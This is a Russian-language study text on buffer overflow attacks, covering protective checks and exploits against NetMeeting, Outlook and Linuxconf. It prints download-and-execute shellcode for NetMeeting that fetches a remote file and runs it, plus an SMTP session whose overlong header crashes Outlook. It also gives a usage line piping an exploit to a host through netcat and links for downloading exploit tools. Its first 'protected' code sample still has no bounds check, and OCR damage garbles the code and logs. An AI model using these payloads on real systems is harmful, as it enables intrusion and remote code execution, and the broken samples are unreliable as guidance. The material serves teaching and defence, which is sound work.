Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
СРС_ИПОВС_МСЗИ.doc
Скачиваний:
41
Добавлен:
05.06.2015
Размер:
1.79 Mб
Скачать

Способ защиты

Чтобы избежать такой проблемы, в программу надо внедрить проверку на ошибки. Для предыдущего примера можно добавить выражение, которое будет проверять количество информации, записываемой в буфер, и если выйдет превышение допустимой нормы, отвергать запрос. Один из способов — это установить соответствующее значение в цикле. Так как счетчик начинается с 0, его надо остановить до 256.

void func(char *str)

{

int i=0; char buffer[256];

while(str[i]!=’\0’)

{

buffer[i]=str[i];

i++;

}

buffer[i]=’\0’;

return;

}

Во втором случае внедрим в программу отдельный контроль над ошибками, который будет следить за нормальной работой цикла.

void func(char *str)

{

int i=0; char buffer[256];

while(str[i]!=’\0’)

{

if (i>=256) exit (1);

buffer[i]=str[i];

i++;

}

buffer[i]=’\0’;

return;

}

Если максимальное число символов будет превышено, то программа остановится. Для этого в выражении if (i>=256) exit (1); указано ограничение на ввод данных в буфер.

Десять примеров переполнения буфера

Теперь, когда мы познакомились с принципом действия этой атаки, давайте рассмотрим практические примеры переполнения буфера: первые пять будут описаны подробно, а оставшиеся — кратко, так как появились совсем недавно. Далее приведен список программ, подверженных этой проблеме:

  • Microsoft NetMeeting;

  • Microsoft Outlook;

  • Linuxconf;

  • ToolTalk;

  • IMAPD;

  • AOL Instant Messenger;

  • AOL Instant Messenger BuddyIcon;

  • Windows 2000 ActiveX Control;

  • IIS 4.0/5.0 Phone Book Server;

  • SQL Server 2000.

Эти программы работают под управлением ОС UNIX или Windows, в том числе под Windows 2000.

Microsoft NetMeeting

Если привести эту программу к состоянию переполнения буфера, то хакер сможет выполнять любой код в системе жертвы. NetMeeting перестанет отвечать на запросы или "зависнет", когда злоумышленник разместит на своей Web-странице ссылку к видоизмененной службе NetMeeting SpeedDial. После остановки работы приложения опытный программист запустит в памяти компьютера любой код. Когда пользователь щелкнет на ссылке SpeedDial для подключения к удаленной системе, переменная заложенная в ссылке, приведет к переполнению буфера и возможности выполнения произвольного кода в системе.

Описание эксплоита

Операционная система: Microsoft NT или Windows 95.

Протоколы/службы: функция SpeedDial.

Эксплоит срабатывает с Microsoft NetMeeting 2.0, 2.1 на Windows NT и NetMeeting 1.0, 2.0,2.1 на Windows 95.

Подробное описание

Программа NetMeeting имеет функцию SpeedDial, которая позволяет пользователю посредством одного щелчка мыши подсоединиться к удаленному серверу. Принцип действия аналогичен ярлыкам в ОС Windows, а работает служба подобно функции быстрого на­бора телефонного номера. В SpeedDial используется модуль DLL, который довольно легко взломать. Ссылку на запуск SpeedDial можно отправить потенциальной жертве через интерактивную переписку NetMeeting или же по обычной электронной почте. Уязвимым звеном является файл MSCONF.DLL версии 4.3.2135. По умолчанию он не может принимать больше чем 256 символов, этим и пользуются хакеры. Если в ссылке на SpeedDial будет больше чем 256 символов, злоумышленник запишет свой код в нужные участки стека, и там его можно выполнить для запуска любой программы на компьютере пользователя.

Симптомы атаки

Когда атака будет проведена на платформу Windows NT, появится окно с сообщением об ошибке, как показано на рис. 3.

Рис. З. Сообщение системы после атаки на NetMeeting

Если появляется такое сообщение, значит в программе произошло переполнение буфера. Конечно, в некотором роде все такие сообщения похожи друг на друга, но присмотримся повнимательнее. Для переполнения буфера, строка с байтами 0x80 была отправлена в Microsoft NetMeeting через поле адреса в ссылке SpeedDial. Величина EIP равна 0x80808080, т.е. стек переполнен! Для этого надо было всего лишь создать строку с избыточным кодом и отправить 4 байт 0x80 прямиком в мишень. Обратите внимание, другие сообщения об ошибках выводят такое же диалоговое окно, и при этом вовсе не обязательно переполнение буфера, что, по сути, маскирует атаку.

Так уж сложилось, что большинство пользователей ОС Windows видят такие сообщения весьма часто, привыкают к ним и больше не обращают на них внимания. Необходимо помнить, что подобные сообщения просто так не выводятся, а значит есть какая-то, возможно, серьезная причина. Потому не поленитесь записать сообщение и показать его специалисту.

Методы защиты

С целью защиты от эксплоита надо установить самые свежие заплаты от Microsoft. Для решения данной проблемы было предложено несколько заплат, подробнее о них читайте в статье ql84346 базы знаний Microsoft, которую можно найти на Web-узле www.microsoft. com. Эта статья также содержит список заплат и адреса, где они могут быть получены.

Исходный код/псевдокод

В этом разделе приводится исходный код эксплоита на ассемблере, применяемый для переполнения буфера в NetMeeting. Хоть программа и предназначена для использования в среде Windows, для нее нет удобного графического интерфейса. Данный код, как и дополнительная информация, взяты с Web-узла группы Cult of the Dead Cow (Культ мертвой коpoвы) no aдpecy: www. cultdeadcow. com.

Итак, эта программа выделяет 131070 байт памяти. Регистр ЕАХ получает значение 131070, после чего вызывается процедура GlobalAlloc с помощью косвенной адресации из EDI по байтам -0x14. Затем адрес памяти сохраняется в ESI. Величина GlobalAlloc имеет тип GMEM_FIXED (0), с помощью которого возвращается адрес памяти.

000001ВВ:

90

пор

000001ВС:

90

пор

000001BD:

33С0

хоr

еах,

еах

000001BF:

6648

dec

ах

000001С1:

D1E0

shl

еах,

1

000001СЗ:

33D2

хоr

edx,

edx

000001С5:

50 push

еах

000001С6:

52 push

edx

000001С7:

FF57EC

call

d, [edi] [-0014]

000001СА:

8BF0

mov

esi,

еах

Затем хакер создает дескриптор с вызовом InternetOpenA. В данном случае все параметры вызова равны 0. Дескриптор возвращается регистру ЕАХ и устанавливается как параметр вызова следующей функции.

000001СС:

33D2

хоr

edx, e(

000001СЕ:

52

push,

edx

000001CF:

52

push

edx

000001D0:

52

push

edx

000001D1:

52

push

edx

000001D2:

57

push

edi

000001D3:

FF57F0

call d,

[edi] [-0010]

Далее вызывается параметр InternetOpenUrlA (в [EDI -0x08]), запуская выбранный адрес URL. Его конкретный тип не определен, а потому это может быть HTTP, FTP, FILE, GOPHER и др.

000001D6:

33D2

xor

edx,

edx

000001D8:

52

push

edx

000001D9:

52

push

edx

000001DA:

52

push

edx

000001DB:

90

пор

000001DC:

52

push

edx

000001DD:

8BD7

mov

edx,

edi

000001DF:

83EA50

sub

edx,

050 ;"P"

000001E2:

90

пор

000001E3:

90

пор

00001E4:

90

пор

000001E5:

52

push

edx

000001E6:

50

push

eax

000001E7:

FF57F8

call

d, [edi]

[-0008]

В следующем фрагменте кода вызов InternetReadFile (в [EDI-0X04 ]) используется для загрузки 131070 байт в буфер памяти (указатель в ESI). Обратите внимание, что EDI записывается в стек первым. В регистре EDI будет находится счетчик для подсчета числа прочитанных байтов. Это необходимо для сохранения файла нужного размера на жестком диске, так как есть ограничение на величину исполняемой программы, которую может загрузить хакер.

000001ЕА:

57

push

edi

000001ЕВ

33D2

хоr

edx,

edx

000001ED:

664А

dec

dx

000001EF:

D1E2

shl

edx,

1

000001F1:

52

push

edx

000001F2:

56

push

esi

000001F3:

50

push

eax

000001F4:

FF57FC

call

d, [edi] [0004]

Идущий далее код вызывает __lcreat (в [EDI-0X28]) для создания файла с содержимым буфера памяти (дамп памяти). По последним пяти символам адреса URL выбирается имя файла, в данном случае е. ехе. Создается он в каталоге пользователя SpeedDial, откуда и начинается атака на систему.

000001F7

90

пор

OO000IF8:

90

пор

000001F9

90

пор

000001FA:

33D2

хоr

edx,

, edx

000001FC:

52

push

edx

000001FD:

8BD?

mov

edx,

, edi

000001FF:

83EA30

sub

edx,

, 030, ;"0"

00000202:

42

inc

edx

00000203:

90

пор

00000204:

90

пор

00000205:

52

push

edx

00000206:

FFs7DB

call

d,

[edi] [-0028]

Код непосредственно записывается на диск с помощью функции _lwrite (в [EDI-0x24]). Число байтов для записи определено в регистре [EDI]. Кроме того, через _lcreat адрес буфера и дескриптор файла записываются в стек. Но прежде чем хакер начнет атаку, он сохраняет дескриптор в регистре ЕВХ, который не изменяется функцией

lwrite.

00000209:

FF37

push

d, [edi]

00000208:

56

push

esi

0000020C:

50

push

eax

0000020D:

8BD8

mov

ebx, eax

0000020F:

FF57DC

call

d, [edi]

t-00241

Затем закрывается дескриптор файла, после чего останется лишь выполнить загруженную программу.

00000212: 53 push ebx

00000213: FF57E0 call d, [edi] t-00201

И наконец, злоумышленник через функцию WinExec запускает исполняемый файл! Обратите внимание на команды inc edx, которые нужны для выбора режима Show Window. Если же файл необходимо выполнить в скрытом режиме, то в соответствующую строку вносится команда пор, и вместо второго параметра WinExec SW_SHOWNORMAL используется SW_HIDE. Первым же параметром будет имя файла.

00000216:

90

nор

0000021-7:

90

пор

00000218:

90

пор

00000219:

33D2

хоr

edx, edx

00000218:

42

inc

edx

0000021C:

52

push

edx

O00O02LD:

8BD?

mov

edx, edi

0000021F:

83EA30

sub

edx, 030 ;"0"

OOO00222:

42

inc

edx

00000223:

90

пор

00000224:

90

пор

00000225:

52

push

edx

00000226:

FF57E4

call

d, [edi] [-001-C]

Процесс завершен.

Функция

ExitProcess выполнена и хакер выходит из системы

00000229:

90

пор

00000224:

90

пор

00000228:

90

пор

0000022C:

FF57EB

cal-1

d, [edi] [-0018]

Дополнительная информация

На следующих Web-узлах можно найти исчерпывающую информацию по переполнению буфера в Microsoft NetMeeting:

  • http://www.infoworld.com

  • http://www.cultdeadcow.com

  • http://www.ntinternals.com

  • http://www.microsoft.com

Microsoft Outlook

Хакер может через Internet отправить письмо клиенту Outlook и запустить на компьютере жертвы произвольный код. Уязвимость обусловлена методом, который используется Outlook для обработки почты, что позволяет взламывать системы, на которых установлена подверженная нападениям версия почтового клиента. Злоумышленник отсылает письмо с видоизмененным заголовком, приводящим к переполнению буфера. Далее возможны два варианта: разрушение системы или выполнение произвольного, подготовленного хакером кода. На компьютере можно незаметно установить люк, а его пользователь так ничего и не заподозрит.

Описание эксплоита

  • Название: удаленное переполнение буфера путем изменения заголовка MIME электронного письма в Outlook.

  • Версия программы: Microsoft Outlook 97, 98, 2000. Microsoft Outlook Express 4.0, 4.01, 5.0 и 5.1.

  • Протоколы/службы: SMTP.

Описание протокола

SMTP (Simple Mail Transfer Protocol) — это почтовый протокол, используемый для пересылки электронной почты через Internet. Когда один человек отправляет письмо другому, его послание передается по сети с помощью SMTP. Рассмотрим пример: Боб хочет отправить письмо Салли, он создает сообщение и щелкает на кнопке Отправить (Send). Письмо передается почтовому серверу, который ищет почтовый или МХ-адрес сервера Салли. Запись MX — это часть записи DNS, в которой находится IP-адрес или имя почтового сервера в домене. Когда адрес найден, через порт 25 серверу отправляется письмо Боба. Затем Салли остается открыть почтовый клиент, который подключается к серверу и загружает все пришедшие письма. Конечно, это предельно упрощенное описание, но главное, чтобы вы поняли суть процесса, без которого нельзя разобраться, как работает переполнение буфера в Outlook.

Подробное описание

Большинство новых вирусов используют электронную почту, как правило, через программу Outlook, для проведения атаки. Расчет делается на то, что пользователь откроет приложение к письму или будет по умолчанию включена опция Auto Preview (автоматический просмотр содержимого письма). Иногда вирусы начинают действовать при загрузке письма с сервера, при этом пользователю ничего не придется делать. Как только письмо приходит, система его обрабатывает и неправильный заголовок приводит к переполнению буфера. Это весьма неприятный способ взлома, поскольку копия письма остается на почтовом сервере. Пользователь, чтобы получить письмо, загружает его с сервера. Как правило, после успешной загрузки сообщение удаляется с сервера, но так происходит далеко не всегда. И получается, что каждый раз, когда Outlook пытается загрузить письмо, происходит очередное переполнение буфера. Поэтому, если уж система была поражена подобной атакой, администратор сервера должен немедленно удалить вредоносное письмо с сервера.

Принцип действия

Принцип работы эксплоита состоит в добавлении избыточной информации в заголовок письма. Ниже приведен пример переполнения буфера на удаленной системе. В данном случае, удаленная система — это компьютер пользователя, почтовая программа которого загружает почту с сервера. Итак, сначала хакер с помощью telnet подключается к почтовому серверу SMTP через порт 25 и вводит следующее:

MAIL FROM: BAD_USER@BAD_USER.COM

RCPT TO: VICTIM@VICTIM.COM

DATA

Date: Wed, 30 Aug 2000 2:45:18

+11111111111111111111111111111111111111111111111111111

QUIT

После отправки этого сообщения на почтовый сервер пользователь загружает письмо посредством Outlook и получает следующее сообщение об ошибке:

OUTLOOK caused an invalid page fault in module at 0Ode:00aedc5a. Reqisters:

EAX=80004005 CS=016f EIP=OOaedc5a EFLGS=00010286 EBX=70bd4899 SS=0177 ESP=0241ef94 EBP=31313131 ECX=00000000 DS=0177 ESP=0241efc6 Fs=2b57 EDX=81c0500c ES=0177 EDI=024Lefc4 GS=0000 Bytes at CS:EIP: Stack dump:

o24Lf360 024tt554 00000000 00000001 00000000 004580d0 00000054 00000054 .O24Lefc4 0000003b 00000100 00000017 3131312b 31313131 3131-3131 31313131 31313131

Таким вот простым способом проводится атака DoS против сетевого узла. Для выполнения своего кода на удаленной системе можно загрузить специальный сценарий с одного из следующий Web-узлов.

■ Bepcия для UNIX/Linux нa языке Perl:

http://www.ussrback.com/outlook.pl

  • Для запуска из командной строки Windows: http://www.ussrback.com/outlook.exe

  • Исходный код сценария для ОС Windows:

http://www.ussrback.com/outlook.zip

Способ применения

Теперь посмотрим, как работать с программой, посредством которой проводится атака. Хакер получает ее через Internet, на системе с ОС Windows переходит в режим командной строки DOS и запускает. Далее выводится сообщение, как показано на рис. 4.

Рис. 4. Программа для переполнения буфера в Outlook

Затем, следуя инструкциям в программе, нужно ввести адрес почтового сервера и соответствующий адрес электронной почты. Вот и все — разве не удивительно, как легко в наше время стать хакером и проводить сложные атаки, даже не понимая принципа их действия?

Симптомы атаки

Довольно тяжело найти следы нападения, поскольку оно выглядит как обычное почтовое соединение. Далее идет отрывок записи сеанса TCP, показывающий данное соединение:

07:18:08.729680 ethO < 10.4.0.146.1124 > 10.10.50.5.smtp: P 80:81(1) ack 187 win 8574 (DF)

07:18:08.743713 ethO > 10.10.50.5.smtp > 10.4.0.146.1124: . 187:187 (0) ack 81 win 32120 (DF)

07:18:08.840557 ethO < 10.4.0.146.1124 > 10.10.50.5.smtp: P 81:82(1) ack 187 win 8574 (DF)

07:18:08.853713 ethO > 10.10.50.5.smtp > 10.4.0.146.1124: . 187:187(0) ack 82 win 32120 (DF)

07:18:08.970608 ethO < 10.4.0.146.1124 > 10.10.50.5.smtp: P 82:83(1) ack 187 win 8574 (DF)

07:18:08.983714 ethO > 10 .10 .50 . 5 . smtp > 10.4.0.146.1124: . 1-87:187(0) ack 83 win 32120

07:18:09.105308 ethO < 10.4.0.146.1124 > 10.10.50.5.smtp: P 83:84(1) ack 187 win 8574 (DF)

07:18:09.123713 ethO > 10.10.50.5.smtp > 10.4.146.1124: . 187:187(0) ack 84 win 32120 (DF)

07:18:09.257093 ethO < 10.4.0.146.1124 > 10.10.50.5.smtp: P 84:85(1) ack 187 win 8574 (DF)

07.18.09.273713 ethO > 10.10.50.5.smtp > 10.4.146.1124: . 187:187(0) ack 85 win 32120 (DF)

■ 07:18:09.852612 ethO < 10.4.0.146.1124 > 10 .10 .50 .5 . smtp: P 85:86 (l) ack 187 win 8574 (DF)

07.18.09.863715 ethO > 10.10.50.5.smtp > .10.4.146.1124: . 187:187(0) ack 86 win 32120 (DF)

07:18:10.189668 ethO < 10.4.0.146.1124 > 10.10.50.5.smtp: P 86:87(1) ack 187 win 8574 (DF)

07.18.10.203718 ethO > 10.10.50.5.smtp > 10.4.146.1124: . 187:187(0) ack 87 win 32120 (DF)

07:18:10.376395 ethO < 10.4.0.146.1124 > 10.10.50.5.smtp: P 87:88(1) ack 187 win 8574 (DF)

07.18.10.393713 ethO > 10.10.50.5.smtp > 10.4.146.1124: . 187:187(0) ack 88 win 32120 (DF)

07:18:10.561517 ethO < 10.4.0.146.1124 > 10.10.50.5.smtp: P 88:89(1) ack 187 win 8574 (DF) 07.18.10.573713 ethO > 10.10.50.5.smtp > 10.4.146.1124: . 187:187(0) ack 89 win

32720 (DF)

O?:18:L0.7857L7 ettr0 < 10.4.0.146.1t24 > 10.10.50.5.smtp: P 89:90(1) ack 18? win

85?4 (DF)

0?.18.10.'803?13 ethO > 10.l0.50.5.srqp > !.0,4.t46.,LL242, . !871;187(0) ack 90 win

32120 (DF)

07:18:11.009358 ethO < 10.4.0.146.LL24 > -10.10.50.5.smtp: P 90:91(1) ack 187 win

8574 (DF) 07.18.11.023713 ethO > 10.10.50.5'.smtp > t0:4.L46.!!24: . 187:187(0) ack 91 win

321-20 (DF)

07:18:LL,L24357 eth0 < 10.4.0.L46.tI24 > 10.10.50.5.smtp: P 9L292(1) ack 187 win

8574 (DF)

07.18.11.1437L4 eth0 > 10.10.50.5.snitp > 10.4.t46.tL24 , 18?jL8?(0) ack 92 win

321.20 (DF)

07:L8:11.3111?5 ethO < 10.4.0.146.1124 >, 10,. 10.50.5. smtp: P 92:93(1) ack 187 win

8574 (DF)

07.18.tl.3237L3 etho > 10.10..50.5.smtp > 10.4,146.LL242 . 187:18?(0) ack 93 win

32L20 (DF\

0?:L8:11.500367 ethO < 1.0.4.0.146.LI24 > 10.10.50.5.smtp: P 93:95(2) ack 18? win

85?4 (DF)

Единственный способ выявить действия хакера — это найти необычную информацию в заголовке письма, для чего придется перерыть уйму TCP/IP-пакетов, что совсем не легкое дело.

Способы защиты

Чтобы избавится от этой уязвимости, желательно установить обновленную версию Outlook или нужную заплату для обновления операционной системы. Все заплаты можно загрузить c yзла www. microsoft. com.

Если в систему уже попало зараженное письмо, то избавиться от него можно будет, лишь удалив письмо с сервера, что должен сделать администратор. В принципе он же обязан заблокировать такого рода трафик, чтобы обезопасить компьютеры с программой Outlook.

Исходный код/псевдокод

Псевдокод для атаки DoS методом переполнения буфера очень прост. Хакер подключается к почтовому серверу, создает письмо с очень длинным заголовком и отправляет его жертве. Для выполнения своего кода на компьютере пользователя можно загрузить исполняемую программу с уже указанных Web-узлов или откомпилировать исходный код, взяв его c Web-yзлa www.ussrback. com.

Дополнительная информация

Исчерпывающую информацию вы найдете на www. ussrback. com и www .microsoft. com.

Переполнение буфера в Linuxconf

В Linuxconf, программе системного администрирования, есть уязвимость связанная с заголовками HTTP, что может вызвать переполнение буфера.

Описание эксплоита

  • Название: переполнение буфера в Linuxconf.

  • Варианты: отсутствуют.

  • Операционная система: большинство версий Linux.

  • Протоколы/службы: программа Linuxconf.

Программа Linuxconf входит почти во все версии Linux. Обычно она устанавливается в системе и открывает порт для удаленного доступа по умолчанию, без ведома администратора. Это еще одна причина, по которой надо быть всегда начеку и регулярно использовать сканеры портов. Если программа устанавливается вместе с Linux (а чаще всего так и 5ывает), то хакер может использовать программу взлома для проникновения в систему, и велик шанс того, что никто ничего даже и не заподозрит.

Описание протокола

Linuxconf — это средство системного администратора с графическим интерфейсом (GUI), который работает в среде X Window. Программа проста в использовании, и с ее помощью довольно легко выполнять самые разнообразные задачи. Для удаленного доступa к ней используется порт 98. Это, конечно, удобно для администратора, ведь доступ к системе можно получить из дома или любого другого места, но таким удобством наверняка попытаются воспользоваться и злоумышленники. Возможности Linuxconf могут быть легко расширены путем добавления специальных модулей в систему. Это делает Linuxconf очень мощным средством администрирования, но из-за существующей уязвимости можно вызвать переполнение буфера и получить несанкционированный доступ к системе.

Подробное описание

К Linuxconf можно получить удаленный доступ через Web, что делает его удобным средством удаленного администрирования. Для вычленения нужной для программы информации, обрабатываются заголовки HTTP. И так как контроль за ошибками не проводится, хакер может ввести избыточные данные в заголовок HTTP, что и приведет к пере­полнению буфера на системе жертвы.

Способ применения

Сначала необходимо загрузить программу с www.neworder.box.sk и запустить ее. Она работает в командной строке Linux и используется следующим образом:

linuxconf.exe <смещение>; cat | пс iр-адрес_узла 98

Для работы программы понадобится утилита netcat. По ходу прочтения книги мы убедимся в том, что netcat это прекрасное средство для осуществления самых разнообразных задач.